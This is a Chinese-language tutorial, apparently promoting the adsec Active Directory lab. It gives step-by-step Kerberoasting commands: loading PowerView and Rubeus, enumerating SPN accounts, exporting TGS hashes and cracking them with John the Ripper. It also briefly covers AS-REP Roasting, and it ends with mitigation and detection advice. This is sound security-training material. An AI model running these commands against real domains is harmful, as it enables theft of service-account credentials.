
Kerberoasting攻击实战adsec手把手教你离线破解服务账户密码【免费下载链接】adsecAn introduction to Active Directory security项目地址: https://gitcode.com/gh_mirrors/ad/adsecKerberoasting 攻击是 Active DirectoryAD域环境中最高频、最危险的一类攻击手法攻击者只需要一个普通域账户就能通过 Kerberos 协议向域控请求服务票据再把加密着服务账户密码哈希的票据拖回本地进行离线破解。本文基于开源项目 adsecActive Directory 安全入门教程手把手带你搭建实验环境、完成一次完整的 Kerberoasting 攻击实战演练并给出最有效的防御与检测方案。Kerberoasting 攻击原理服务账户密码为何能被离线破解要理解 Kerberoasting 攻击先记住三个关键概念SPN服务主体名称域中服务账户的身份证用于让客户端定位服务格式通常为cifs/服务器名、http/服务名等。TGS服务票据客户端向 KDC密钥分发中心即域控申请访问某服务时获得的票据TGS 会用服务账户的密码哈希加密。离线破解破解过程不接触网络在本地用字典或规则不断猜测密码因此速度极快、难以被实时阻断。Kerberoasting 攻击的核心逻辑就是任何域用户都能合法地向 KDC 请求任意 SPN 的 TGS 票据而拿到票据就等于拿到了一个被服务账户密码加密的密文剩下的就是离线破解攻击者普通域用户 │ ① AS-REQ请求 TGT ▼ KDC / 域控 │ ② 返回 TGT ▼ 攻击者 │ ③ TGS-REQ请求目标 SPN 的票据 ▼ KDC / 域控 │ ④ 返回 TGS使用服务账户密码哈希加密 ▼ 攻击者 → 离线破解 TGS → 得到服务账户明文密码攻击成功的根本原因很多管理员给服务账户设置了弱密码而服务账户的密码又很少轮换于是 Kerberoasting 攻击几乎一打一个准。为什么 Kerberoasting 攻击值得重视低权限即可发起不需要域管权限一个被攻陷的普通员工账户就足够。全程合法流量请求 TGS 是 Kerberos 的正常行为传统防火墙和杀软基本无法拦截。离线破解无痕迹破解在本机进行不产生任何网络请求检测难度极高。这也是为什么 Kerberoasting 攻击始终排在微软官方推荐的 AD 安全加固清单前列。实验环境搭建快速复现 Kerberoasting 攻击场景adsec 项目提供了完整的实验材料包含理论幻灯片、环境搭建脚本和 8 个实战练习。Kerberoasting 攻击对应的正是第 4 个练习exercises/4-Kerberos-Roasting.md。获取项目材料git clone https://gitcode.com/gh_mirrors/ad/adsec搭建域环境按lab-setup/README.md的指引准备三台 Windows Server 2019 虚拟机主机名角色说明ADSEC-DC域控制器创建 contoso.com 域运行lab-setup/domain-setup-scripts/create-domain.ps1ADSEC-00被攻陷的攻击机模拟攻击者 john 的主机ADSEC-01普通成员服务器攻击目标之一域创建完成后在域控上运行lab-setup/domain-setup-scripts/domainprepare.ps1脚本即可自动填充练习所需的用户、组和 OU包括本次的主角——服务账户 taskservice。准备攻击工具攻击机 ADSEC-00 上的工具打包在exercises/attacker-tools/目录下的两个 ZIP 文件中解压密码infected本次练习需要用到PowerView域内信息收集神器负责枚举 SPN 账户。RubeusKerberos 攻击瑞士军刀负责请求并导出 TGS 票据。John the Ripperjohn经典密码破解工具负责离线破解。Kerberoasting 攻击实战完整操作步骤第 1 步加载攻击工具在攻击机 ADSEC-00 上以管理员身份打开 PowerShell加载 PowerView 和 Rubeuscd C:\attacker-tools cat -raw .\PowerView.ps1 | iex cat -raw .\Invoke-Rubeus.ps1 | iex第 2 步枚举 SPN 账户锁定攻击目标使用 PowerView 列出所有注册了 SPN 的域用户重点关注服务账户及其密码最后修改时间Get-DomainUser -SPN | select samaccountname, description, pwdlastset, serviceprincipalname如果域规模较大还可以用 Rubeus 查看 SPN 的统计信息快速评估哪些账户值得下手Invoke-Rubeus -Command kerberoast /stats⚠️ 发现密码长期未修改、且权限较高的服务账户就是 Kerberoasting 攻击的绝佳目标。第 3 步请求 TGS 票据导出加密哈希对目标服务账户 taskservice 发起 TGS 请求并以 hashcat 兼容格式导出便于后续使用任意破解工具Invoke-Rubeus -Command kerberoast /user:taskservice /format:hashcat /outfile:krb5tgs.txt导出的文件内容形如$krb5tgs$23$*taskservice$contoso.com$...这就是等待被离线破解的密码保险箱。第 4 步John the Ripper 离线破解服务账户密码回到攻击机本地用 John the Ripper 结合字典和规则进行离线破解cd C:\attacker-tools\john\run .\john.exe path-to-krb5tgs.txt --wordlist..\..\example.dict --rulespassphrase-rule2 当屏幕上出现taskservice:Amsterdam2015之类的输出时说明服务账户密码已被成功破解——至此一个普通域用户完成了对域内服务账户的完整攻陷链条。Kerberoasting 攻击的缓解措施与检测方法实战演示完成后更重要的是知道如何防守。以下是 adsec 练习中建议重点研究的缓解方案从根源上加固强密码策略服务账户密码应至少 25 位且随机生成大幅拉高离线破解成本这是最有效的单一措施。改用 gMSA组托管服务账户密码由系统自动生成、定期轮换天然免疫 Kerberoasting 攻击。✂️最小权限与清理删除不必要的 SPN避免把高权限账户注册为服务账户。从检测上兜底监控事件 ID 4769大量针对同一 SPN 的 TGS 请求尤其使用了 RC4 加密是典型的 Kerberoasting 攻击特征。定期审计周期性检查域内 SPN 账户的密码修改时间及时发现长期不轮换的高危服务账户。延伸学习AS-REP Roasting 与 Kerberoasting 攻击的区别在 adsec 第 4 个练习中还有一道进阶题利用Get-DomainUser -NoPreauth找到未启用 Kerberos 预认证的账户用同样的思路执行AS-REP Roasting攻击并破解其密码。两者最核心的区别在于Kerberoasting 攻击针对的是服务账户攻击者主动请求 TGS 票据。AS-REP Roasting针对未启用预认证的用户账户攻击者直接请求 AS 应答获得用用户密码哈希加密的数据。两者殊途同归——都是拿到加密哈希 离线破解这也再次印证AD 域安全的根基是让每一个账户的密码都足够强壮。总结通过 adsec 项目的实战练习我们从原理、环境搭建、攻击执行到防御检测完整走通了一次 Kerberoasting 攻击。想系统掌握 Active Directory 安全可以按项目结构循序渐进先看slides/AD-Security-101.pdf理论部分再按lab-setup/README.md搭建环境最后逐个完成exercises/下的 8 个实战练习——从侦察、NTLM、Kerberoasting 攻击到委派、ACL 与持久化一步步构建完整的 AD 攻防知识体系。【免费下载链接】adsecAn introduction to Active Directory security项目地址: https://gitcode.com/gh_mirrors/ad/adsec创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考